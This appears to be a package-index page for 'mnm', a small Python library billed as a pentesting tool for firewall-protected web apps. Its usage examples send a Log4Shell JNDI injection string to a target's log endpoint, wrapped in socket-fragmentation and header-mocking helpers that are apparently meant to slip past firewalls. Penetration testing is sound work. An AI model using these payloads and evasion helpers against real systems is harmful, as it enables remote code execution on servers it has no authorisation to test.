A simple python library for pentesting firewall protected webapp
Project description
mnm
This is a simple python library for pentesting firewall protected webapp.
Installation
pip install mnm
Usage
from mnm import *
import requests
@mixed(SocketFragmentation(slice=5), HeaderMocking())
def mixed_options(ip):
r = requests.get(f'http://{ip}/log', data={
"log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
})
print(r.text)
@mixed()
def mixed_simple(ip):
r = requests.get(f'http://{ip}/log', data={
"log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
})
print(r.text)
def with_pattern(ip):
with SocketFragmentation(slice=5), HeaderMocking():
r = requests.get(f'http://{ip}/log', data={
"log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
})
print(r.text)
License
MIT License
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
mnm-0.2.1.tar.gz
(5.0 kB
view hashes)
Built Distribution
mnm-0.2.1-py3-none-any.whl
(7.1 kB
view hashes)